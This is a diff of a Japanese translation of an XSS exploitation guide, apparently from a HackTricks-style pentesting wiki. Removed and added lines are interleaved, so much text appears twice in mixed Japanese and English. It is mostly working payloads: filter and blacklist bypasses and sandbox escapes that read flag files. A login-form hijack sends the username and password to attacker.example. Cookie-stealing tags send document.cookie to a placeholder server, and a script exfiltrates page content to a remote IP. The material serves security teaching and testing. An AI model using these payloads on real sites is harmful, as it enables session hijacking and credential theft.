+**XSS payload inside a hidden attribute** を実行できます。これは、**persuade** して **victim** に **key combination** を押させることができる場合に限ります。Firefox（Windows/Linux）ではキー組み合わせは **ALT+SHIFT+X**、OS X では **CTRL+ALT+X** です。access key attribute の別のキーを使うことで、別のキー組み合わせを指定できます。攻撃ベクターは次のとおりです：
 ```html
 <input type="hidden" accesskey="X" onclick="alert(1)">
 ```
-**XSSペイロードは次のようになります：`" accesskey="x" onclick="alert(1)" x="`**
+**XSSのペイロードは次のようなものになります: `" accesskey="x" onclick="alert(1)" x="`**
 
-### ブラックリストバイパス
+### Blacklist Bypasses
 
-このセクションでは、異なるエンコーディングを使用するいくつかのトリックがすでに公開されています。**戻って、どこで使用できるかを学びましょう：**
+このセクションですでにいくつかの異なるエンコーディングを使ったトリックが示されています。**戻ってどこで使えるかを学んでください：**
 
-- **HTMLエンコーディング（HTMLタグ）**
-- **Unicodeエンコーディング（有効なJSコードになる可能性があります）：** `\u0061lert(1)`
-- **URLエンコーディング**
-- **16進数および8進数エンコーディング**
-- **データエンコーディング**
+- **HTML encoding (HTML tags)**
+- **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
+- **URL encoding**
+- **Hex and Octal encoding**
+- **data encoding**
 
-**HTMLタグと属性のバイパス**
+**Bypasses for HTML tags and attributes**
 
-[前のセクションのブラックリストバイパスを読む](#blacklist-bypasses)。
+[ Blacklist Bypasses of the previous section](#blacklist-bypasses) を参照してください。
 
-**JavaScriptコードのバイパス**
+**Bypasses for JavaScript code**
 
-[次のセクションのJavaScriptバイパスブラックリストを読む](#javascript-bypass-blacklists-techniques)。
+[avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques) を参照してください。
 
-### CSSガジェット
+### CSS-Gadgets
 
-もし、**非常に小さな部分**のウェブでXSSを見つけた場合、何らかのインタラクションが必要です（例えば、マウスオーバー要素を持つフッターの小さなリンクなど）、その要素が占めるスペースを**変更してリンクが発火する確率を最大化**することを試みることができます。
+もしWebの非常に小さな部分で**XSS**を見つけ、何らかのインタラクションが必要な場合（例えばフッターの小さなリンクにonmouseover要素がある場合）、リンクが発火する確率を最大化するために、その要素が占めるスペースを**変更してみる**ことができます。
 
-例えば、要素に次のようなスタイルを追加することができます：`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
+例えば、要素に次のようなスタイルを追加できます: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
 
-しかし、WAFがスタイル属性をフィルタリングしている場合、CSSスタイリングガジェットを使用できます。例えば、次のようなものを見つけた場合
+しかし、WAFがstyle属性をフィルタリングしている場合は、CSS Styling Gadgetsを使えます。例えば次のようなものを見つけたとします
 
 > .test {display:block; color: blue; width: 100%\}
 
-および
+and
 
 > \#someid {top: 0; font-family: Tahoma;}
 
-今、リンクを変更して次の形式にすることができます
+これでリンクを修正して次のようにできます
 
 > \<a href="" id=someid class=test onclick=alert() a="">
 
-このトリックは[https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)から取られました。
+このトリックは次の投稿から引用しました： [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
 
-## JavaScriptコード内への注入
+## Injecting inside JavaScript code
 
-この場合、**入力**は`.js`ファイルのJSコード内に**反映される**か、`<script>...</script>`タグの間、またはJSコードを実行できるHTMLイベントの間、または`javascript:`プロトコルを受け入れる属性の間にあります。
+これらの場合、あなたの**input**は `.js` ファイルのJSコード内、または `<script>...</script>` タグ内、JSを実行できるHTMLイベント内、あるいは `javascript:` プロトコルを許容する属性内に**反映されます**。
 
-### \<script>タグのエスケープ
+### Escaping \<script> tag
 
-もしあなたのコードが`<script> [...] var input = 'reflected data' [...] </script>`の中に挿入されている場合、`<script>`タグを**閉じることで簡単にエスケープ**できます：
+もしあなたのコードが `<script> [...] var input = 'reflected data' [...] </script>` の中に挿入されている場合、`</script>` の終了タグを簡単に**エスケープして閉じることができます**：
 ```javascript
 </script><img src=1 onerror=alert(document.domain)>
 ```
-この例では、**シングルクォートを閉じていない**ことに注意してください。これは、**HTMLの解析が最初にブラウザによって行われる**ためで、ページ要素、スクリプトのブロックを特定することが含まれます。埋め込まれたスクリプトを理解し実行するためのJavaScriptの解析は、その後に行われます。
+この例では、**シングルクォートを閉じてさえいません**。これは、**ブラウザによってまずHTMLのパースが行われる**ためで、scriptブロックを含むページ要素の識別が行われます。埋め込まれたスクリプトを理解して実行するためのJavaScriptのパースはその後に行われます。
 
 ### JSコード内
 
-`<>`がサニタイズされている場合でも、**文字列をエスケープ**し、**任意のJSを実行**することができます。JSの構文を**修正する**ことが重要です。エラーがあると、JSコードは実行されません：
+もし `<>` がサニタイズされている場合でも、入力が**配置されている**場所で文字列を**エスケープ**して任意のJSを**実行**することができます。JSの構文を**修正する**ことが重要です。エラーがあるとJSコードは実行されません：
 ```
 '-alert(document.domain)-'
 ';alert(document.domain)//
 \';alert(document.domain)//
 ```
-### テンプレートリテラル \`\`
+#### JS-in-JS string break → inject → repair pattern
 
-**文字列**を構築するために、シングルクォートやダブルクォートの他に、JSは**バックティック** **` `` `**も受け入れます。これはテンプレートリテラルと呼ばれ、`${ ... }`構文を使用して**JS式を埋め込む**ことができます。\
-したがって、バックティックを使用しているJS文字列内に入力が**反映**されていることがわかった場合、構文`${ ... }`を悪用して**任意のJSコード**を実行することができます：
+ユーザー入力が引用符で囲まれたJavaScript文字列内に入る場合（例: server-side echo into an inline script）、文字列を終了させてコードを注入し、構文を修復してパースを有効な状態に保つことができます。一般的なスケルトン:
+```
+"            // end original string
+;            // safely terminate the statement
+<INJECTION>  // attacker-controlled JS
+; a = "      // repair and resume expected string/statement
+```
+脆弱なパラメータがJS文字列として反映される場合のURLパターンの例:
+```
+?param=test";<INJECTION>;a="
+```
+これは HTML コンテキストに触れることなく攻撃者の JS を実行します（純粋な JS-in-JS）。フィルタがキーワードをブロックする場合は、下の blacklist bypasses と組み合わせてください。
 
-これは次のように**悪用**できます：
+### Template literals ``
+
+文字列を構築する際、JS はシングルおよびダブルクォートのほかに **backticks** **` `` `** を受け入れます。これは template literals として知られており、`${ ... }` 構文を使って **embedded JS expressions** を埋め込めるためです。\
+したがって、入力が backticks を使った JS の文字列内に **reflected** されている場合、`${ ... }` 構文を悪用して **arbitrary JS code** を実行できます:
+
+これを **abused** する例:
 ```javascript
 ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
 ```
@@ -506,22 +528,37 @@ return loop
 }
 loop``
 ```
-### エンコードされたコード実行
+### エンコードされた code execution
 ```html
 <script>\u0061lert(1)</script>
 <svg><script>alert&lpar;'1'&rpar;
 <svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
 <iframe srcdoc="<SCRIPT>alert(1)</iframe>">
 ```
-### Unicode エンコード JS 実行
+#### Deliverable payloads with eval(atob()) とスコープのニュアンス
+
+URLを短く保ち、単純なキーワードフィルタを回避するために、本当のロジックをbase64エンコードして`eval(atob('...'))`で評価するとよい。単純なキーワードフィルタが`alert`、`eval`、`atob`のような識別子をブロックする場合、ブラウザで同一にコンパイルされつつ文字列照合フィルタを回避するUnicodeエスケープされた識別子を使う：
+```
+\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
+\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))
+```
+重要なスコーピングの注意点: `const`/`let` を `eval()` 内で宣言してもブロックスコープになり、globals を作成しません; そのため後続のスクリプトからはアクセスできません。必要な場合は、グローバルで再束縛できないフックを定義するために動的に注入した `<script>` 要素を使ってください（例: form handler を hijack する場合）:
+```javascript
+var s = document.createElement('script');
+s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
+document.head.appendChild(s);
+```
+参考: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
+
+### Unicode エンコードによる JS 実行
 ```javascript
 alert(1)
 alert(1)
 alert(1)
 ```
-### JavaScript バイパス ブラックリスト技術
+### JavaScript bypass blacklists 手法
 
-**文字列**
+**Strings**
 ```javascript
 "thisisastring"
 'thisisastrig'
@@ -538,7 +575,7 @@ String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
 atob("dGhpc2lzYXN0cmluZw==")
 eval(8680439..toString(30))(983801..toString(36))
 ```
-**特別なエスケープ**
+**特殊なエスケープ**
 ```javascript
 "\b" //backspace
 "\f" //form feed
@@ -552,12 +589,12 @@ eval(8680439..toString(30))(983801..toString(36))
 "\t" //tab
 // Any other char escaped is just itself
 ```
-**JSコード内のスペースの置換**
+**JSコード内でのスペースの置換**
 ```javascript
 <TAB>
 /**/
 ```
-**JavaScript コメント (から** [**JavaScript コメント**](#javascript-comments) **トリック)**
+**JavaScript comments (から** [**JavaScript Comments**](#javascript-comments) **トリック)**
 ```javascript
 //This is a 1 line comment
 /* This is a multiline comment*/
@@ -565,7 +602,7 @@ eval(8680439..toString(30))(983801..toString(36))
 #!This is a 1 line comment, but "#!" must to be at the beggining of the first line
 -->This is a 1 line comment, but "-->" must to be at the beggining of the first line
 ```
-**JavaScriptの改行（から** [**JavaScriptの改行**](#javascript-new-lines) **トリック）**
+**JavaScript 改行 (から** [**JavaScript new line**](#javascript-new-lines) **手法)**
 ```javascript
 //Javascript interpret as new line these chars:
 String.fromCharCode(10)
@@ -577,7 +614,7 @@ alert("//\u2028alert(1)") //0xe2 0x80 0xa8
 String.fromCharCode(8233)
 alert("//\u2029alert(1)") //0xe2 0x80 0xa9
 ```
-**JavaScriptのホワイトスペース**
+**JavaScript の空白文字**
 ```javascript
 log=[];
 function funct(){}
@@ -601,7 +638,7 @@ console.log(log)
 
 //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
 ```
-**括弧なしのJavaScript**
+**JavaScript（丸括弧なし）**
 ```javascript
 // By setting location
 window.location='javascript:alert\x281\x29'
@@ -680,7 +717,7 @@ try{throw onerror=alert}catch{throw 1}
 - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
 - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
 
-**任意の関数（alert）呼び出し**
+**任意の関数 (alert) 呼び出し**
 ```javascript
 //Eval like functions
 eval('ale'+'rt(1)')
@@ -740,60 +777,58 @@ top['al\x65rt'](1)
 top[8680439..toString(30)](1)
 <svg><animate onbegin=alert() attributeName=x></svg>
 ```
-## **DOMの脆弱性**
+## **DOM vulnerabilities**
 
-攻撃者によって制御される**安全でないデータ**を使用している**JSコード**があります。例えば、`location.href`のようなものです。攻撃者はこれを悪用して任意のJSコードを実行することができます。\
-**DOMの脆弱性に関する説明が長くなったため、** [**このページに移動しました**](dom-xss.md)**:**
+存在する**JS code**は、`location.href` のような**攻撃者により制御されるデータを安全でない形で**使用している場合があります。攻撃者はこれを悪用して任意のJSコードを実行できます。\
+**説明が長くなったため、** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
 
 
 {{#ref}}
 dom-xss.md
 {{#endref}}
 
-そこでは、**DOMの脆弱性とは何か、どのように引き起こされるのか、そしてどのように悪用されるのかについての詳細な説明**が見つかります。\
-また、**前述の投稿の最後には、** [**DOM Clobbering攻撃**](dom-xss.md#dom-clobbering)についての説明がありますので、お忘れなく。
+そこでは、**DOM vulnerabilities が何か、どのように発生するか、そしてどのようにエクスプロイトするか**について詳しく説明しています。\
+また、前述の投稿の最後で [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering) に関する説明も確認してください。
 
-### Self-XSSのアップグレード
+### Upgrading Self-XSS
 
 ### Cookie XSS
 
-もし、ペイロードをクッキー内に送信することでXSSをトリガーできる場合、これは通常self-XSSです。しかし、もし**XSSに対して脆弱なサブドメイン**を見つけた場合、このXSSを悪用して全ドメインにクッキーを注入し、メインドメインや他のサブドメイン（クッキーXSSに対して脆弱なもの）でクッキーXSSをトリガーすることができます。このために、クッキー投げ攻撃を使用できます：
+ペイロードを cookie 内に入れて XSS を発生させられる場合、通常は self-XSS です。ただし、XSS に脆弱なサブドメインを見つけた場合、その XSS を悪用してドメイン全体に cookie を注入し、メインドメインや他のサブドメイン（cookie XSS に脆弱なもの）で cookie XSS を発動させることができます。そのために cookie tossing attack を使用できます:
 
 
 {{#ref}}
 ../hacking-with-cookies/cookie-tossing.md
 {{#endref}}
 
-この技術の素晴らしい悪用例は、[**このブログ投稿**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html)で見つけることができます。
+この手法の優れた悪用例は [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) にあります。
 
-### 管理者にセッションを送信する
+### Sending your session to the admin
 
-ユーザーが自分のプロフィールを管理者と共有できる場合、もしself XSSがユーザーのプロフィール内にあり、管理者がそれにアクセスすると、脆弱性がトリガーされます。
+ユーザーが管理者とプロフィールを共有できる場合、プロフィール内に self XSS があると、管理者がそれにアクセスした際に脆弱性が発動する可能性があります。
 
-### セッションミラーリング
+### Session Mirroring
 
-self XSSを見つけ、ウェブページに**管理者用のセッションミラーリング**がある場合、例えばクライアントが助けを求めることを許可し、管理者があなたを助けるためにあなたのセッションで見ているものを自分のセッションから見ることができます。
+self XSS を見つけ、かつウェブページが管理者向けの **session mirroring for administrators** を提供している場合（例えば、クライアントがヘルプを求めるときに管理者がクライアントのセッションを自分のセッションから見ることができるような機能）、管理者にあなたの self XSS を発動させてその cookie/session を盗むことが可能です。
 
-あなたは**管理者にself XSSをトリガーさせて、彼のクッキー/セッションを盗む**ことができます。
+## Other Bypasses
 
-## その他のバイパス
+### Normalised Unicode
 
-### 正規化されたUnicode
+サーバー（またはクライアント側）で **reflected values** が **unicode normalized** されているかを確認し、この挙動を悪用して保護を回避できる場合があります。 [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting)。
 
-**反映された値**がサーバー（またはクライアント側）で**Unicode正規化**されているかどうかを確認し、この機能を悪用して保護をバイパスすることができます。[**ここに例があります**](../unicode-injection/index.html#xss-cross-site-scripting)。
-
-### PHP FILTER_VALIDATE_EMAILフラグのバイパス
+### PHP FILTER_VALIDATE_EMAIL flag Bypass
 ```javascript
 "><svg/onload=confirm(1)>"@x.y
 ```
-### Ruby-On-Rails バイパス
+### Ruby-On-Rails bypass
 
-**RoR マスアサインメント** により、HTMLに引用符が挿入され、その後引用制限がバイパスされ、追加のフィールド（onfocus）がタグ内に追加されることがあります。\
-フォームの例 ([from this report](https://hackerone.com/reports/709336))、ペイロードを送信すると:
+**RoR mass assignment** のため、HTMLに引用符が挿入され、その引用符の制限が回避され、タグ内に追加のフィールド（onfocus）を追加できます。\
+フォームの例 ([from this report](https://hackerone.com/reports/709336))、次のpayloadを送信すると:
 ```
 contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
 ```
-ペア「Key」「Value」は次のようにエコーされます:
+ペア "Key","Value" は次のようにエコーされます:
 ```
 {" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
 ```
@@ -829,24 +864,24 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
 window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
 document['default'+'View'][`\u0061lert`](3)
 ```
-### XSS with header injection in a 302 response
+### 302レスポンスでの header injection を伴う XSS
 
-もしあなたが **302リダイレクトレスポンスにヘッダーを注入できる** ことがわかった場合、**ブラウザに任意のJavaScriptを実行させる**ことを試みることができます。これは **簡単ではありません**。なぜなら、現代のブラウザはHTTPレスポンスステータスコードが302の場合、HTTPレスポンスボディを解釈しないため、単なるクロスサイトスクリプティングペイロードは無意味だからです。
+If you find that you can **inject headers in a 302 Redirect response** you could try to **make the browser execute arbitrary JavaScript**. これは **簡単ではありません**。モダンなブラウザは HTTP レスポンスのステータスコードが 302 の場合に HTTP レスポンスボディを解釈しないため、単に cross-site scripting ペイロードを入れても無意味です。
 
-[**このレポート**](https://www.gremwell.com/firefox-xss-302) と [**こちら**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) では、Locationヘッダー内でいくつかのプロトコルをテストし、それらのいずれかがブラウザにXSSペイロードをボディ内で検査および実行させることを許可するかどうかを確認する方法を読むことができます。\
-過去に知られているプロトコル: `mailto://`, `//x:1/`, `ws://`, `wss://`, _空のLocationヘッダー_, `resource://`。
+In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.\
+過去に知られているプロトコル: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
 
-### Only Letters, Numbers and Dots
+### 文字、数字、ドットのみ
 
-もしあなたが **コールバック** を示すことができるなら、javascriptはその文字に制限されて **実行** されます。[**この投稿のこのセクションを読んで**](#javascript-function) この動作を悪用する方法を見つけてください。
+If you are able to indicate the **callback** that javascript is going to **execute** limited to those chars. [**Read this section of this post**](#javascript-function) to find how to abuse this behaviour.
 
 ### Valid `<script>` Content-Types to XSS
 
-（[**こちらから**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)）もしあなたが `application/octet-stream` のような **content-type** でスクリプトを読み込もうとすると、Chromeは次のエラーを投げます：
+(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) If you try to load a script with a **content-type** such as `application/octet-stream`, Chrome will throw following error:
 
 > Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
 
-Chromeが **読み込まれたスクリプト** を実行するのをサポートする唯一の **Content-Type** は、[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) の const **`kSupportedJavascriptTypes`** 内のものです。
+The only **Content-Type**s that will support Chrome to run a **loaded script** are the ones inside the const **`kSupportedJavascriptTypes`** from [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
 ```c
 const char* const kSupportedJavascriptTypes[] = {
 "application/ecmascript",
@@ -868,14 +903,16 @@ const char* const kSupportedJavascriptTypes[] = {
 };
 
 ```
-### Script Types to XSS
+### XSS におけるスクリプトの種類
 
-(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) では、どのタイプがスクリプトを読み込むために指定される可能性がありますか？
+(出典: [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) では、スクリプトを読み込むために指定できるタイプにはどのようなものがありますか？
 ```html
 <script type="???"></script>
 ```
-- **module** (デフォルト、説明は不要)
-- [**webbundle**](https://web.dev/web-bundles/): Web Bundlesは、HTML、CSS、JSなどのデータをまとめて**`.wbn`**ファイルにパッケージ化できる機能です。
+答えは:
+
+- **module** (デフォルト、説明不要)
+- [**webbundle**](https://web.dev/web-bundles/): Web Bundlesは、HTML、CSS、JS…などの複数のデータをまとめて**`.wbn`**ファイルにパッケージできる機能です。
 ```html
 <script type="webbundle">
 {
@@ -885,7 +922,7 @@ const char* const kSupportedJavascriptTypes[] = {
 </script>
 The resources are loaded from the source .wbn, not accessed via HTTP
 ```
-- [**importmap**](https://github.com/WICG/import-maps)**:** インポート構文を改善することを可能にします
+- [**importmap**](https://github.com/WICG/import-maps)**:** インポート構文を改善できる
 ```html
 <script type="importmap">
 {
@@ -902,9 +939,9 @@ import moment from "moment"
 import { partition } from "lodash"
 </script>
 ```
-この動作は、[**この解説**](https://github.com/zwade/yaca/tree/master/solution)でライブラリをevalに再マッピングしてXSSを引き起こすために悪用されることができることを示すために使用されました。
+この挙動は [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) でライブラリを eval にリマップするために使用されました。悪用すると XSS を引き起こす可能性があります。
 
-- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** この機能は、プリレンダリングによって引き起こされるいくつかの問題を解決するためのものです。動作は次のようになります：
+- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** この機能は主にプリレンダリングによって引き起こされるいくつかの問題を解決するためのものです。動作は以下の通りです：
 ```html
 <script type="speculationrules">
 {
@@ -920,24 +957,24 @@ import { partition } from "lodash"
 }
 </script>
 ```
-### Web Content-Types to XSS
+### Web Content-Types による XSS
 
-(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 次のコンテンツタイプは、すべてのブラウザでXSSを実行できます：
+(出典: [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 以下の Content-Types はすべてのブラウザで XSS を実行できます:
 
 - text/html
 - application/xhtml+xml
 - application/xml
 - text/xml
 - image/svg+xml
-- text/plain (?? リストにはありませんが、CTFで見たことがあると思います)
-- application/rss+xml (オフ)
-- application/atom+xml (オフ)
+- text/plain (?? not in the list but I think I saw this in a CTF)
+- application/rss+xml (off)
+- application/atom+xml (off)
 
-他のブラウザでは、他の **`Content-Types`** を使用して任意のJSを実行できます。確認してください: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
+In other browsers other **`Content-Types`** can be used to execute arbitrary JS, check: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
 
 ### xml Content Type
 
-ページがtext/xmlコンテンツタイプを返す場合、名前空間を指定して任意のJSを実行することが可能です：
+ページが text/xml content-type を返す場合、名前空間を指定して任意の JS を実行することが可能です:
 ```xml
 <xml>
 <text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@@ -947,20 +984,20 @@ import { partition } from "lodash"
 ```
 ### 特殊な置換パターン
 
-**`"some {{template}} data".replace("{{template}}", <user_input>)`** のようなものが使用されるとき、攻撃者は[**特殊な文字列置換**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement)を使用して、いくつかの保護を回避しようとすることがあります: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
+たとえば **`"some {{template}} data".replace("{{template}}", <user_input>)`** のような処理を行う場合、攻撃者は [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) を利用して一部の保護を回避しようとする可能性があります: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
 
-例えば、[**この書き込み**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)では、スクリプト内の**JSON文字列をエスケープ**し、任意のコードを実行するために使用されました。
+例えば [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) では、これはスクリプト内の **JSON文字列をエスケープ** して任意のコードを実行するために使われました。
 
-### ChromeキャッシュからXSS
+### Chrome Cache to XSS
 
 
 {{#ref}}
 chrome-cache-to-xss.md
 {{#endref}}
 
-### XS Jailのエスケープ
+### XS Jails Escape
 
-使用できる文字のセットが限られている場合、XSJailの問題に対する他の有効な解決策を確認してください:
+使用できる文字が限られている場合、XSJail の問題に対するその他の有効な解決策を確認してください：
 ```javascript
 // eval + unescape + regex
 eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@@ -991,22 +1028,22 @@ constructor(source)()
 // For more uses of with go to challenge misc/CaaSio PSE in
 // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
 ```
-もし**すべてが未定義**である場合、信頼できないコードを実行する前に（例えば[**この解説**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)のように）、何もないところから有用なオブジェクトを生成して、任意の信頼できないコードの実行を悪用することが可能です：
+信頼できないコードを実行する前に **everything is undefined** になっている場合（例: [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)）、任意の信頼できないコードの実行を悪用するために「無から」有用なオブジェクトを生成することが可能です:
 
-- import()を使用して
+- import() の使用
 ```javascript
 // although import "fs" doesn’t work, import('fs') does.
 import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
 ```
-- `require`を間接的にアクセスする
+- 間接的に`require`へアクセスする
 
-[これによると](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) モジュールはNode.jsによって関数内にラップされます。
+[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) モジュールはNode.jsによって関数内でラップされ、次のようになります:
 ```javascript
 ;(function (exports, require, module, __filename, __dirname) {
 // our actual module code
 })
 ```
-したがって、そのモジュールから**別の関数を呼び出す**ことができれば、その関数から`arguments.callee.caller.arguments[1]`を使用して**`require`**にアクセスすることが可能です：
+したがって、そのモジュールから**別の関数を呼び出せる**場合、その関数内で `arguments.callee.caller.arguments[1]` を使って**`require`**にアクセスすることができます:
 ```javascript
 ;(function () {
 return arguments.callee.caller.arguments[1]("fs").readFileSync(
@@ -1015,7 +1052,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
 )
 })()
 ```
-前の例と同様に、**エラーハンドラー**を使用してモジュールの**ラッパー**にアクセスし、**`require`**関数を取得することが可能です：
+前の例と同様に、**エラーハンドラーを使用して**モジュールの**ラッパー**にアクセスし、**`require`**関数を取得することができます:
 ```javascript
 try {
 null.f()
@@ -1055,12 +1092,12 @@ trigger()
 ```
 ### Obfuscation & Advanced Bypass
 
-- **異なる難読化が1ページに:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
+- **1ページでの異なる obfuscations:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
 - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
 - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
 - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
 - [http://www.jsfuck.com/](http://www.jsfuck.com)
-- より洗練されたJSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
+- より高度な JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
 - [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
 - [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
 - [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
@@ -1234,23 +1271,25 @@ oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o]
 ```javascript
 // It's also possible to execute JS code only with the chars: []`+!${}
 ```
-## XSSの一般的なペイロード
+## XSS の一般的な payloads
+
+### 複数の payloads を1つに
 
-### 1つのペイロードに複数
 
 {{#ref}}
 steal-info-js.md
 {{#endref}}
 
-### Iframeトラップ
+### Iframe Trap
+
+ユーザーを iframe から出さずにページ内を移動させ、formsで送信された情報を含むその行動を盗む。
 
-ユーザーがiframeを退出せずにページ内を移動させ、その行動を盗む（フォームに送信された情報を含む）：
 
 {{#ref}}
 ../iframe-traps.md
 {{#endref}}
 
-### クッキーの取得
+### Cookies の取得
 ```javascript
 <img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
 <img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
@@ -1273,9 +1312,9 @@ steal-info-js.md
 <script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
 ```
 > [!TIP]
-> あなたは**HTTPOnlyフラグがクッキーに設定されている場合、JavaScriptからクッキーにアクセスすることはできません**。しかし、運が良ければ、ここに[この保護を回避するいくつかの方法があります](../hacking-with-cookies/index.html#httponly)。
+> cookiesにHTTPOnlyフラグが設定されている場合、**JavaScriptからcookiesにアクセスすることはできません**。しかし、運が良ければ[some ways to bypass this protection](../hacking-with-cookies/index.html#httponly)が利用できます。
 
-### ページコンテンツを盗む
+### ページのコンテンツを盗む
 ```javascript
 var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
 var attacker = "http://10.10.14.8/exfil"
@@ -1288,7 +1327,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
 xhr.open("GET", url, true)
 xhr.send(null)
